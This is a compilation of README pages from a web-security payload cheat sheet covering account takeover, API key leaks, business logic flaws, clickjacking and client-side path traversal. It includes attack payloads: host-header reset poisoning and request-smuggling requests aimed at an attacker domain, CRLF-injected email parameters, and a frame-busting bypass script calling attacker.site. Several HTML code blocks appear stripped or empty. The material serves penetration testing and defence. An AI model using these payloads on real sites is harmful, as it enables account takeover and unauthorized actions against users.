## File: README.md

# Payloads All The Things

A list of useful payloads and bypasses for Web Application Security.
Feel free to improve with your payloads and techniques!

You can also contribute with a :beers: IRL, or using the sponsor button.

[](https://github.com/sponsors/swisskyrepo)
[](https://twitter.com/intent/tweet?text=Payloads%20All%20The%20Things,%20a%20list%20of%20useful%20payloads%20and%20bypasses%20for%20Web%20Application%20Security%20-%20by%20@pentest_swissky&url=https://github.com/swisskyrepo/PayloadsAllTheThings/)

An alternative display version is available at [PayloadsAllTheThingsWeb](https://swisskyrepo.github.io/PayloadsAllTheThings/).



## :book: Documentation

Every section contains the following files, you can use the `_template_vuln` folder to create a new chapter:

- README.md - vulnerability description and how to exploit it, including several payloads
- Intruder - a set of files to give to Burp Intruder
- Images - pictures for the README.md
- Files - some files referenced in the README.md

You might also like the other projects from the AllTheThings family :

- [InternalAllTheThings](https://swisskyrepo.github.io/InternalAllTheThings/) - Active Directory and Internal Pentest Cheatsheets
- [HardwareAllTheThings](https://swisskyrepo.github.io/HardwareAllTheThings/) - Hardware/IOT Pentesting Wiki

You want more? Check the [Books](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/_LEARNING_AND_SOCIALS/BOOKS.md) and [YouTube channel](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/_LEARNING_AND_SOCIALS/YOUTUBE.md) selections.

## :technologist: Contributions

Be sure to read [CONTRIBUTING.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CONTRIBUTING.md)



Thanks again for your contribution! :heart:

## :beers: Sponsors

This project is proudly sponsored by these companies.

| Logo                                                                                                                                                                                                  | Description                                                                                                                                          |
| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
| [](https://serpapi.com)                            | **SerpApi** is a real time API to access Google search results. It solves the issues of having to rent proxies, solving captchas, and JSON parsing.  |
| [](https://projectdiscovery.io/) | **ProjectDiscovery** - Detect real, exploitable vulnerabilities. Harness the power of Nuclei for fast and accurate findings without false positives. |
| [](https://www.vaadata.com/)                       | **VAADATA** - Ethical Hacking Services                                                                                                               |

---

## File: _template_vuln/README.md

# Vulnerability Title

> Vulnerability description - reference

## Summary

* [Tools](#tools)
* [Methodology](#methodology)
    * [Subentry 1](#subentry-1)
    * [Subentry 2](#subentry-2)
* [Labs](#labs)
* [References](#references)

## Tools

* [username/tool1](https://github.com/username/tool1) - Description of the tool
* [username/tool2](https://github.com/username/tool2) - Description of the tool

## Methodology

Quick explanation

```powershell
Exploit
```

### Subentry 1

### Subentry 2

## Labs

* [Root Me - Lab 1](https://root-me.org)
* [PortSwigger - Lab 2](https://portswigger.net)
* [HackTheBox - Lab 3](https://www.hackthebox.com)

## References

* [Blog title - Author (@handle) - January 1, 2024](https://web.archive.org/web/20020120142510/http://example.com:80/)

---

## File: Account Takeover/README.md

# Account Takeover

> Account Takeover (ATO) is a significant threat in the cybersecurity landscape, involving unauthorized access to users' accounts through various attack vectors.

## Summary

* [Password Reset Feature](#password-reset-feature)
    * [Password Reset Token Leak via Referrer](#password-reset-token-leak-via-referrer)
    * [Account Takeover Through Password Reset Poisoning](#account-takeover-through-password-reset-poisoning)
    * [Password Reset via Email Parameter](#password-reset-via-email-parameter)
    * [IDOR on API Parameters](#idor-on-api-parameters)
    * [Weak Password Reset Token](#weak-password-reset-token)
    * [Leaking Password Reset Token](#leaking-password-reset-token)
    * [Password Reset via Username Collision](#password-reset-via-username-collision)
    * [Account Takeover Due To Unicode Normalization Issue](#account-takeover-due-to-unicode-normalization-issue)
* [Account Takeover via Web Vulnerabilities](#account-takeover-via-web-vulnerabilities)
    * [Account Takeover via Cross Site Scripting](#account-takeover-via-cross-site-scripting)
    * [Account Takeover via HTTP Request Smuggling](#account-takeover-via-http-request-smuggling)
    * [Account Takeover via CSRF](#account-takeover-via-csrf)
* [References](#references)

## Password Reset Feature

### Password Reset Token Leak via Referrer

1. Request password reset to your email address
2. Click on the password reset link
3. Don't change password
4. Click any 3rd party websites(e.g., Facebook, twitter)
5. Intercept the request in Burp Suite proxy
6. Check if the referer header is leaking password reset token.

### Account Takeover Through Password Reset Poisoning

1. Intercept the password reset request in Burp Suite
2. Add or edit the following headers in Burp Suite : `Host: [ATTACKER.DOMAIN.TLD]`, `X-Forwarded-Host: [ATTACKER.DOMAIN.TLD]`
3. Forward the request with the modified header

    ```http
    POST https://example.com/reset.php HTTP/1.1
    Accept: */*
    Content-Type: application/json
    Host: [ATTACKER.DOMAIN.TLD]
    ```

4. Look for a password reset URL based on the *host header* like : `https://[ATTACKER.DOMAIN.TLD]/reset-password.php?token=TOKEN`

### Password Reset via Email Parameter

```powershell
# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
```

### IDOR on API Parameters

1. Attacker have to login with their account and go to the **Change password** feature.
2. Start the Burp Suite and Intercept the request
3. Send it to the repeater tab and edit the parameters : User ID/email

    ```powershell
    POST /api/changepass
    [...]
    ("form": {"email":"victim@email.com","password":"securepwd"})
    ```

### Weak Password Reset Token

The password reset token should be randomly generated and unique every time.
Try to determine if the token expire or if it's always the same, in some cases the generation algorithm is weak and can be guessed. The following variables might be used by the algorithm.

* Timestamp
* UserID
* Email of User
* Firstname and Lastname
* Date of Birth
* Cryptography
* Number only
* Small token sequence (<6 characters between [A-Z,a-z,0-9])
* Token reuse
* Token expiration date

### Leaking Password Reset Token

1. Trigger a password reset request using the API/UI for a specific email e.g: <test@mail.com>
2. Inspect the server response and check for `resetToken`
3. Then use the token in an URL like `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`

### Password Reset via Username Collision

1. Register on the system with a username identical to the victim's username, but with white spaces inserted before and/or after the username. e.g: `"admin "`
2. Request a password reset with your malicious username.
3. Use the token sent to your email and reset the victim password.
4. Connect to the victim account with the new password.

The platform CTFd was vulnerable to this attack.
See: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)

### Account Takeover Due To Unicode Normalization Issue

When processing user input involving unicode for case mapping or normalisation, unexpected behavior can occur.  

* Victim account: `demo@gmail.com`
* Attacker account: `demⓞ@gmail.com`

[Unisub - is a tool that can suggest potential unicode characters that may be converted to a given character](https://github.com/tomnomnom/hacks/tree/master/unisub).

[Unicode pentester cheatsheet](https://gosecure.github.io/unicode-pentester-cheatsheet/) can be used to find list of suitable unicode characters based on platform.

## Account Takeover via Web Vulnerabilities

### Account Takeover via Cross Site Scripting

1. Find an XSS inside the application or a subdomain if the cookies are scoped to the parent domain : `*.domain.com`
2. Leak the current **sessions cookie**
3. Authenticate as the user using the cookie

### Account Takeover via HTTP Request Smuggling

Refer to **HTTP Request Smuggling** vulnerability page.

1. Use **smuggler** to detect the type of HTTP Request Smuggling (CL, TE, CL.TE)

    ```powershell
    git clone https://github.com/defparam/smuggler.git
    cd smuggler
    python3 smuggler.py -h
    ```

2. Craft a request which will overwrite the `POST / HTTP/1.1` with the following data:

    ```powershell
    GET http://[ATTACKER.DOMAIN.TLD]  HTTP/1.1
    X: 
    ```

3. Final request could look like the following

    ```powershell
    GET /  HTTP/1.1
    Transfer-Encoding: chunked
    Host: something.com
    User-Agent: Smuggler/v1.0
    Content-Length: 83

    0

    GET http://[ATTACKER.DOMAIN.TLD]  HTTP/1.1
    X: X
    ```

Hackerone reports exploiting this bug

* <https://hackerone.com/reports/737140>
* <https://hackerone.com/reports/771666>

### Account Takeover via CSRF

1. Create a payload for the CSRF, e.g: "HTML form with auto submit for a password change"
2. Send the payload

### Account Takeover via JWT

JSON Web Token might be used to authenticate a user.

* Edit the JWT with another User ID / Email
* Check for weak JWT signature

## References

* [$6,5k + $5k HTTP Request Smuggling mass account takeover - Slack + Zomato - Bug Bounty Reports Explained - August 30, 2020](https://web.archive.org/web/20250701123134/https://www.youtube.com/watch?v=gzM4wWA7RFo)
* [10 Password Reset Flaws - Anugrah SR - September 16, 2020](https://web.archive.org/web/20250626114943/https://anugrahsr.github.io/posts/10-Password-reset-flaws/)
* [Broken Cryptography & Account Takeovers - Harsh Bothra - September 20, 2020](https://web.archive.org/web/20250913121907/https://speakerdeck.com/harshbothra/broken-cryptography-and-account-takeovers?slide=28)
* [CTFd Account Takeover - NIST National Vulnerability Database - March 29, 2020](https://web.archive.org/web/20200329075120/https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
* [Hacking Grindr Accounts with Copy and Paste - Troy Hunt - October 3, 2020](https://web.archive.org/web/20251219192449/https://www.troyhunt.com/hacking-grindr-accounts-with-copy-and-paste/)

---

## File: API Key Leaks/README.md

# API Key and Token Leaks

> API keys and tokens are forms of authentication commonly used to manage permissions and access to both public and private services. Leaking these sensitive pieces of data can lead to unauthorized access, compromised security, and potential data breaches.

## Summary

- [Tools](#tools)
- [Methodology](#methodology)
    - [Common Causes of Leaks](#common-causes-of-leaks)
    - [Validate The API Key](#validate-the-api-key)
- [Reducing The Attack Surface](#reducing-the-attack-surface)
- [References](#references)

## Tools

- [aquasecurity/trivy](https://github.com/aquasecurity/trivy) - General purpose vulnerability and misconfiguration scanner which also searches for API keys/secrets.
- [blacklanternsecurity/badsecrets](https://github.com/blacklanternsecurity/badsecrets) - A library for detecting known or weak secrets on across many platforms.
- [irsdl/crapsecrets](https://github.com/irsdl/crapsecrets) - A library for detecting known secrets across many web frameworks.
- [d0ge/sign-saboteur](https://github.com/d0ge/sign-saboteur) - SignSaboteur is a Burp Suite extension for editing, signing, verifying various signed web tokens.
- [mazen160/secrets-patterns-db](https://github.com/mazen160/secrets-patterns-db) - Secrets Patterns DB: The largest open-source Database for detecting secrets, API keys, passwords, tokens, and more.
- [momenbasel/KeyFinder](https://github.com/momenbasel/KeyFinder) - is a tool that let you find keys while surfing the web.
- [streaak/keyhacks](https://github.com/streaak/keyhacks) - is a repository which shows quick ways in which API keys leaked by a bug bounty program can be checked to see if they're valid.
- [trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog) - Find credentials all over the place.
- [projectdiscovery/nuclei-templates](https://github.com/projectdiscovery/nuclei-templates) - Use these templates to test an API token against many API service endpoints.

    ```powershell
    nuclei -t token-spray/ -var token=token_list.txt
    ```

## Methodology

- **API Keys**: Unique identifiers used to authenticate requests associated with your project or application.
- **Tokens**: Security tokens (like OAuth tokens) that grant access to protected resources.

### Common Causes of Leaks

- **Hardcoding in Source Code**: Developers may unintentionally leave API keys or tokens directly in the source code.

    ```py
    # Example of hardcoded API key
    api_key = "1234567890abcdef"
    ```

- **Public Repositories**: Accidentally committing sensitive keys and tokens to publicly accessible version control systems like GitHub.

    ```ps1
    ## Scan a Github Organization
    docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --org=trufflesecurity
    
    ## Scan a GitHub Repository, its Issues and Pull Requests
    docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --repo https://github.com/trufflesecurity/test_keys --issue-comments --pr-comments
    ```

- **Hardcoding in Docker Images**: API keys and credentials might be hardcoded in Docker images hosted on DockerHub or private registries.

    ```ps1
    # Scan a Docker image for verified secrets
    docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest docker --image trufflesecurity/secrets
    ```

- **Logs and Debug Information**: Keys and tokens might be inadvertently logged or printed during debugging processes.

- **Configuration Files**: Including keys and tokens in publicly accessible configuration files (e.g., .env files, config.json, settings.py, or .aws/credentials.).

### Validate The API Key

If assistance is needed in identifying the service that generated the token, [mazen160/secrets-patterns-db](https://github.com/mazen160/secrets-patterns-db) can be consulted. It is the largest open-source database for detecting secrets, API keys, passwords, tokens, and more. This database contains regex patterns for various secrets.

```yaml
patterns:
  - pattern:
      name: AWS API Gateway
      regex: '[0-9a-z]+.execute-api.[0-9a-z._-]+.amazonaws.com'
      confidence: low
  - pattern:
      name: AWS API Key
      regex: AKIA[0-9A-Z]{16}
      confidence: high
```

Use [streaak/keyhacks](https://github.com/streaak/keyhacks) or read the documentation of the service to find a quick way to verify the validity of an API key.

- **Example**: Telegram Bot API Token

    ```ps1
    curl https://api.telegram.org/bot<TOKEN>/getMe
    ```

## Reducing The Attack Surface

Check the existence of a private key or AWS credentials before committing your changes in a GitHub repository.

Add these lines to your `.pre-commit-config.yaml` file.

```yml
-   repo: https://github.com/pre-commit/pre-commit-hooks
    rev: v3.2.0
    hooks:
    -   id: detect-aws-credentials
    -   id: detect-private-key
```

## References

- [Finding Hidden API Keys & How to Use Them - Sumit Jain - August 24, 2019](https://web.archive.org/web/20191012175520/https://medium.com/@sumitcfe/finding-hidden-api-keys-how-to-use-them-11b1e5d0f01d)
- [Introducing SignSaboteur: Forge Signed Web Tokens with Ease - Zakhar Fedotkin - May 22, 2024](https://web.archive.org/web/20240522172244/https://portswigger.net/research/introducing-signsaboteur-forge-signed-web-tokens-with-ease)
- [Private API Key Leakage Due to Lack of Access Control - yox - August 8, 2018](https://web.archive.org/web/20211208043535/https://hackerone.com/reports/376060)
- [Saying Goodbye to My Favorite 5 Minute P1 - Allyson O'Malley - January 6, 2020](https://web.archive.org/web/20250714230057/https://www.allysonomalley.com/2020/01/06/saying-goodbye-to-my-favorite-5-minute-p1/)

---

## File: Business Logic Errors/README.md

# Business Logic Errors

> Business logic errors, also known as business logic flaws, are a type of application vulnerability that stems from the application's business logic, which is the part of the program that deals with real-world business rules and processes. These rules could include things like pricing models, transaction limits, or the sequences of operations that need to be followed in a multi-step process.

## Summary

* [Methodology](#methodology)
    * [Review Feature Testing](#review-feature-testing)
    * [Discount Code Feature Testing](#discount-code-feature-testing)
    * [Delivery Fee Manipulation](#delivery-fee-manipulation)
    * [Currency Arbitrage](#currency-arbitrage)
    * [Premium Feature Exploitation](#premium-feature-exploitation)
    * [Refund Feature Exploitation](#refund-feature-exploitation)
    * [Cart/Wishlist Exploitation](#cartwishlist-exploitation)
    * [Thread Comment Testing](#thread-comment-testing)
    * [Rounding Error](#rounding-error)
* [References](#references)

## Methodology

Unlike other types of security vulnerabilities like SQL injection or cross-site scripting (XSS), business logic errors do not rely on problems in the code itself (like unfiltered user input). Instead, they take advantage of the normal, intended functionality of the application, but use it in ways that the developer did not anticipate and that have undesired consequences.

Common examples of Business Logic Errors.

### Review Feature Testing

* Assess if you can post a product review as a verified reviewer without having purchased the item.
* Attempt to provide a rating outside of the standard scale, for instance, a 0, 6 or negative number in a 1 to 5 scale system.
* Test if the same user can post multiple ratings for a single product. This is useful in detecting potential race conditions.
* Determine if the file upload field permits all extensions; developers often overlook protections on these endpoints.
* Investigate the possibility of posting reviews impersonating other users.
* Attempt Cross-Site Request Forgery (CSRF) on this feature, as it's frequently unprotected by tokens.

### Discount Code Feature Testing

* Try to apply the same discount code multiple times to assess if it's reusable.
* If the discount code is unique, evaluate for race conditions by applying the same code for two accounts simultaneously.
* Test for Mass Assignment or HTTP Parameter Pollution to see if you can apply multiple discount codes when the application is designed to accept only one.
* Test for vulnerabilities from missing input sanitization such as XSS, SQL Injection on this feature.
* Attempt to apply discount codes to non-discounted items by manipulating the server-side request.

### Delivery Fee Manipulation

* Experiment with negative values for delivery charges to see if it reduces the final amount.
* Evaluate if free delivery can be activated by modifying parameters.

### Currency Arbitrage

* Attempt to pay in one currency, for example, USD, and request a refund in another, like EUR. The difference in conversion rates could result in a profit.

### Premium Feature Exploitation

* Explore the possibility of accessing premium account-only sections or endpoints without a valid subscription.
* Purchase a premium feature, cancel it, and see if you can still use it after a refund.
* Look for true/false values in requests/responses that validate premium access. Use tools like Burp's Match & Replace to alter these values for unauthorized premium access.
* Review cookies or local storage for variables validating premium access.

### Refund Feature Exploitation

* Purchase a product, ask for a refund, and see if the product remains accessible.
* Look for opportunities for currency arbitrage.
* Submit multiple cancellation requests for a subscription to check the possibility of multiple refunds.

### Cart/Wishlist Exploitation

* Test the system by adding products in negative quantities, along with other products, to balance the total.
* Try to add more of a product than is available.
* Check if a product in your wishlist or cart can be moved to another user's cart or removed from it.

### Thread Comment Testing

* Check if there's a limit to the number of comments on a thread.
* If a user can only comment once, use race conditions to see if multiple comments can be posted.
* If the system allows comments by verified or privileged users, try to mimic these parameters and see if you can comment as well.
* Attempt to post comments impersonating other users.

### Rounding Error

The report [hackerone #176461](https://web.archive.org/web/20170303191338/https://hackerone.com/reports/176461) describes a business logic flaw in a cryptocurrency platform (using XBT/Bitcoin), where an attacker exploits a rounding error in the internal transfer system to generate money out of nothing.

The attacker initiate a transfer of 0.000000005 XBT (0.5 satoshi), this is below the system's minimum precision which is 1 satoshi minimum.

* Sender's balance doesn't change. The algorithm might be rounded down to 0 satoshi.
* Receiver's balance increases by 1 satoshi (0.00000001). The algorithm might be rounding up to 1 satoshi.

The attacker generated 0.00000001 XBT from nothing, since there's no rate limit, OTP, or fraud detection, the attacker can automate this process and repeat it infinitely, effectively printing money.

In this example, instead of rounding and rejecting or enforcing a minimum transfer, it ignores the deduction from the sender and credits the receiver.

## References

* [Business Logic Vulnerabilities - PortSwigger - March 5, 2026](https://web.archive.org/web/20260305155804/https://portswigger.net/web-security/logic-flaws)
* [Business Logic Vulnerability - OWASP - April 22, 2020](https://web.archive.org/web/20200422002600/https://owasp.org/www-community/vulnerabilities/Business_logic_vulnerability)
* [CWE-840: Business Logic Errors - CWE - March 24, 2011](https://web.archive.org/web/20260304013031/https://cwe.mitre.org/data/definitions/840.html)
* [Examples of Business Logic Vulnerabilities - PortSwigger - September 22, 2020](https://web.archive.org/web/20200922175829/https://portswigger.net/web-security/logic-flaws/examples)

---

## File: Clickjacking/README.md

# Clickjacking

> Clickjacking is a type of web security vulnerability where a malicious website tricks a user into clicking on something different from what the user perceives, potentially causing the user to perform unintended actions without their knowledge or consent. Users are tricked into performing all sorts of unintended actions as such as typing in the password, clicking on ‘Delete my account' button, liking a post, deleting a post, commenting on a blog. In other words all the actions that a normal user can do on a legitimate website can be done using clickjacking.

## Summary

* [Tools](#tools)
* [Methodology](#methodology)
    * [UI Redressing](#ui-redressing)
    * [Invisible Frames](#invisible-frames)
    * [Button/Form Hijacking](#buttonform-hijacking)
    * [Execution Methods](#execution-methods)
* [Preventive Measures](#preventive-measures)
    * [Implement X-Frame-Options Header](#implement-x-frame-options-header)
    * [Content Security Policy (CSP)](#content-security-policy-csp)
    * [Disabling JavaScript](#disabling-javascript)
* [OnBeforeUnload Event](#onbeforeunload-event)
* [XSS Filter](#xss-filter)
    * [IE8 XSS filter](#ie8-xss-filter)
    * [Chrome 4.0 XSSAuditor filter](#chrome-40-xssauditor-filter)
* [Challenge](#challenge)
* [Labs](#labs)
* [References](#references)

## Tools

* [portswigger/burp](https://portswigger.net/burp)
* [zaproxy/zaproxy](https://github.com/zaproxy/zaproxy)
* [machine1337/clickjack](https://github.com/machine1337/clickjack)

## Methodology

### UI Redressing

UI Redressing is a Clickjacking technique where an attacker overlays a transparent UI element on top of a legitimate website or application.
The transparent UI element contains malicious content or actions that are visually hidden from the user. By manipulating the transparency and positioning of elements,
the attacker can trick the user into interacting with the hidden content, believing they are interacting with the visible interface.

* **How UI Redressing Works:**
    * Overlaying Transparent Element: The attacker creates a transparent HTML element (usually a ``) that covers the entire visible area of a legitimate website. This element is made transparent using CSS properties like `opacity: 0;`.
    * Positioning and Layering: By setting the CSS properties such as `position: absolute; top: 0; left: 0;`, the transparent element is positioned to cover the entire viewport. Since it's transparent, the user doesn't see it.
    * Misleading User Interaction: The attacker places deceptive elements within the transparent container, such as fake buttons, links, or forms. These elements perform actions when clicked, but the user is unaware of their presence due to the overlaying transparent UI element.
    * User Interaction: When the user interacts with the visible interface, they are unknowingly interacting with the hidden elements due to the transparent overlay. This interaction can lead to unintended actions or unauthorized operations.

```html

  [Click me](malicious-link)

```

### Invisible Frames

Invisible Frames is a Clickjacking technique where attackers use hidden iframes to trick users into interacting with content from another website unknowingly.
These iframes are made invisible by setting their dimensions to zero (height: 0; width: 0;) and removing their borders (border: none;).
The content inside these invisible frames can be malicious, such as phishing forms, malware downloads, or any other harmful actions.

* **How Invisible Frames Work:**
    * Hidden IFrame Creation: The attacker includes an `` element in a webpage, setting its dimensions to zero and removing its border, making it invisible to the user.

      ```html
      
      ```

    * Loading Malicious Content: The src attribute of the iframe points to a malicious website or resource controlled by the attacker. This content is loaded silently without the user's knowledge because the iframe is invisible.
    * User Interaction: The attacker overlays enticing elements on top of the invisible iframe, making it seem like the user is interacting with the visible interface. For instance, the attacker might position a transparent button over the invisible iframe. When the user clicks the button, they are essentially clicking on the hidden content within the iframe.
    * Unintended Actions: Since the user is unaware of the invisible iframe, their interactions can lead to unintended actions, such as submitting forms, clicking on malicious links, or even performing financial transactions without their consent.

### Button/Form Hijacking

Button/Form Hijacking is a Clickjacking technique where attackers trick users into interacting with invisible or hidden buttons/forms, leading to unintended actions on a legitimate website. By overlaying deceptive elements on top of visible buttons or forms, attackers can manipulate user interactions to perform malicious actions without the user's knowledge.

* **How Button/Form Hijacking Works:**
    * Visible Interface: The attacker presents a visible button or form to the user, encouraging them to click or interact with it.

    ```html
    Click me
    ```

    * Invisible Overlay: The attacker overlays this visible button or form with an invisible or transparent element that contains a malicious action, such as submitting a hidden form.

    ```html
    <form action="malicious-site" method="POST" id="hidden-form" style="display: none;">
    
    </form>
    ```

    * Deceptive Interaction: When the user clicks the visible button, they are unknowingly interacting with the hidden form due to the invisible overlay. The form is submitted, potentially causing unauthorized actions or data leakage.

    ```html
    Click me
    <form action="legitimate-site" method="POST" id="hidden-form">
      
    </form>
    <script>
      function submitForm() {
        document.getElementById('hidden-form').submit();
      }
    </script>
    ```

### Execution Methods

* Creating Hidden Form: The attacker creates a hidden form containing malicious input fields, targeting a vulnerable action on the victim's website. This form remains invisible to the user.

```html
  <form action="malicious-site" method="POST" id="hidden-form" style="display: none;">
  
  
  </form>
```

* Overlaying Visible Element: The attacker overlays a visible element (button or form) on their malicious page, encouraging users to interact with it. When the user clicks the visible element, they unknowingly trigger the hidden form's submission.

```js
  function submitForm() {
    document.getElementById('hidden-form').submit();
  }
```

## Preventive Measures

### Implement X-Frame-Options Header

Implement the X-Frame-Options header with the DENY or SAMEORIGIN directive to prevent your website from being embedded within an iframe without your consent.

```apache
Header always append X-Frame-Options SAMEORIGIN
```

### Content Security Policy (CSP)

Use CSP to control the sources from which content can be loaded on your website, including scripts, styles, and frames.
Define a strong CSP policy to prevent unauthorized framing and loading of external resources.
Example in HTML meta tag:

```html
<meta http-equiv="Content-Security-Policy" content="frame-ancestors 'self';">
```

### Disabling JavaScript

* Since these type of client side protections relies on JavaScript frame busting code, if the victim has JavaScript disabled or it is possible for an attacker to disable JavaScript code, the web page will not have any protection mechanism against clickjacking.
* There are three deactivation techniques that can be used with frames:
    * Restricted frames with Internet Explorer: Starting from IE6, a frame can have the "security" attribute that, if it is set to the value "restricted", ensures that JavaScript code, ActiveX controls, and re-directs to other sites do not work in the frame.

    ```html
    
    ```

    * Sandbox attribute: with HTML5 there is a new attribute called “sandbox”. It enables a set of restrictions on content loaded into the iframe. At this moment this attribute is only compatible with Chrome and Safari.

    ```html
    
    ```

## OnBeforeUnload Event

* The `onBeforeUnload` event could be used to evade frame busting code. This event is called when the frame busting code wants to destroy the iframe by loading the URL in the whole web page and not only in the iframe. The handler function returns a string that is prompted to the user asking confirm if he wants to leave the page. When this string is displayed to the user is likely to cancel the navigation, defeating target's frame busting attempt.

* The attacker can use this attack by registering an unload event on the top page using the following example code:

```html
<h1>www.fictitious.site</h1>
<script>
    window.onbeforeunload = function()
    {
        return " Do you want to leave fictitious.site?";
    }
</script>

```

* The previous technique requires the user interaction but, the same result, can be achieved without prompting the user. To do this the attacker have to automatically cancel the incoming navigation request in an onBeforeUnload event handler by repeatedly submitting (for example every millisecond) a navigation request to a web page that responds with a _"HTTP/1.1 204 No Content"_ header.

204 page:

```php
<?php
    header("HTTP/1.1 204 No Content");
?>
```

Attacker's Page:

```js
<script>
    var prevent_bust = 0;
    window.onbeforeunload = function() {
        prevent_bust++;
    };
    setInterval(
        function() {
            if (prevent_bust > 0) {
                prevent_bust -= 2;
                window.top.location = "http://attacker.site/204.php";
            }
        }, 1);
</script>

```

## XSS Filter

### IE8 XSS filter

This filter has visibility into all parameters of each request and response flowing through the web browser and it compares them to a set of regular expressions in order to look for reflected XSS attempts. When the filter identifies a possible XSS attacks; it disables all inline scripts within the page, including frame busting scripts (the same thing could be done with external scripts). For this reason an attacker could induce a false positive by inserting the beginning of the frame busting script into a request's parameters.

```html
<script>
    if ( top != self )
    {
        top.location=self.location;
    }
</script>
```

Attacker View:

```html
if”>
```

### Chrome 4.0 XSSAuditor filter

It has a little different behaviour compared to IE8 XSS filter, in fact with this filter an attacker could deactivate a “script” by passing its code in a request parameter. This enables the framing page to specifically target a single snippet containing the frame busting code, leaving all the other codes intact.

Attacker View:

```html

```

## Challenge

Inspect the following code:

```html

  

Click me
```

Determine the Clickjacking vulnerability within this code snippet. Identify how the hidden iframe is being used to exploit the user's actions when they click the button, leading them to a malicious website.

## Labs

* [OWASP WebGoat](https://owasp.org/www-project-webgoat/)
* [OWASP Client Side Clickjacking Test](https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/09-Testing_for_Clickjacking)

## References

* [Clickjacker.io - Saurabh Banawar - May 10, 2020](https://web.archive.org/web/20200510214313/https://clickjacker.io/)
* [Clickjacking - Gustav Rydstedt - April 28, 2020](https://web.archive.org/web/20200428022051/https://owasp.org/www-community/attacks/Clickjacking)
* [Synopsys Clickjacking - BlackDuck - November 29, 2019](https://web.archive.org/web/20240917212838/https://www.synopsys.com/glossary/what-is-clickjacking.html)
* [Web-Security Clickjacking - PortSwigger - October 12, 2019](https://web.archive.org/web/20260215062230/https://portswigger.net/web-security/clickjacking)

---

## File: Client Side Path Traversal/README.md

# Client Side Path Traversal

> Client-Side Path Traversal (CSPT), sometimes also referred to as "On-site Request Forgery," is a vulnerability that can be exploited as a tool for CSRF or XSS attacks.  
> It takes advantage of the client side's ability to make requests using fetch to a URL, where multiple "../" characters can be injected. After normalization, these characters redirect the request to a different URL, potentially leading to security breaches.  
> Since every request is initiated from within the frontend of the application, the browser automatically includes cookies and other authentication mechanisms, making them available for exploitation in these attacks.

## Summary

* [Tools](#tools)
* [Methodology](#methodology)
    * [CSPT to XSS](#cspt-to-xss)
    * [CSPT to CSRF](#cspt-to-xss)
* [Labs](#labs)
* [References](#references)

## Tools

* [doyensec/CSPTBurpExtension](https://github.com/doyensec/CSPTBurpExtension) - CSPT is an open-source Burp Suite extension to find and exploit Client-Side Path Traversal.

## Methodology

### CSPT to XSS



A post-serving page calls the fetch function, sending a request to a URL with attacker-controlled input which is not properly encoded in its path, allowing the attacker to inject `../` sequences to the path and make the request get sent to an arbitrary endpoint. This behavior is referred to as a CSPT vulnerability.

**Example**:

* The page `https://example.com/static/cms/news.html` takes a `newsitemid` as parameter
* Then fetch the content of `https://example.com/newitems/<newsitemid>`
* A text injection was also discovered in `https://example.com/pricing/default.js` via the `cb` parameter
* Final payload is `https://example.com/static/cms/news.html?newsitemid=../pricing/default.js?cb=alert(document.domain)//`

### CSPT to CSRF

A CSPT is redirecting legitimate HTTP requests, allowing the front end to add necessary tokens for API calls, such as authentication or CSRF tokens. This capability can potentially be exploited to circumvent existing CSRF protection measures.

|                                             | CSRF               | CSPT2CSRF          |
| ------------------------------------------- | -----------------  | ------------------ |
| POST CSRF ?                                 | :white_check_mark: | :white_check_mark: |
| Can control the body ?                      | :white_check_mark: | :x:                |
| Can work with anti-CSRF token ?             | :x:                | :white_check_mark: |
| Can work with Samesite=Lax ?                | :x:                | :white_check_mark: |
| GET / PATCH / PUT / DELETE CSRF ?           | :x:                | :white_check_mark: |
| 1-click CSRF ?                              | :x:                | :white_check_mark: |
| Does impact depend on source and on sinks ? | :x:                | :white_check_mark: |

Real-World Scenarios:

* 1-click CSPT2CSRF in Rocket.Chat
* CVE-2023-45316: CSPT2CSRF with a POST sink in Mattermost : `/<team>/channels/channelname?telem_action=under_control&forceRHSOpen&telem_run_id=../../../../../../api/v4/caches/invalidate`
* CVE-2023-6458: CSPT2CSRF with a GET sink in Mattermost
* [Client Side Path Manipulation - erasec.be](https://www.erasec.be/blog/client-side-path-manipulation/): CSPT2CSRF `https://example.com/signup/invite?email=foo%40bar.com&inviteCode=123456789/../../../cards/123e4567-e89b-42d3-a456-556642440000/cancel?a=`
* [CVE-2023-5123 : CSPT2CSRF in Grafana’s JSON API Plugin](https://medium.com/@maxime.escourbiac/grafana-cve-2023-5123-write-up-74e1be7ef652)

## Labs

* [doyensec/CSPTPlayground](https://github.com/doyensec/CSPTPlayground) - CSPTPlayground is an open-source playground to find and exploit Client-Side Path Traversal (CSPT).
* [Root Me - CSPT - The Ruler](https://www.root-me.org/en/Challenges/Web-Client/CSPT-The-Ruler)

## References

* [Exploiting Client-Side Path Traversal to Perform Cross-Site Request Forgery - Introducing CSPT2CSRF - Maxence Schmitt - July 2, 2024](https://web.archive.org/web/20260222183040/https://blog.doyensec.com/2024/07/02/cspt2csrf.html)
* [Exploiting Client-Side Path Traversal - CSRF is dead, long live CSRF - Whitepaper - Maxence Schmitt - July 2, 2024](https://web.archive.org/web/20240702212818/https://www.doyensec.com/resources/Doyensec_CSPT2CSRF_Whitepaper.pdf)
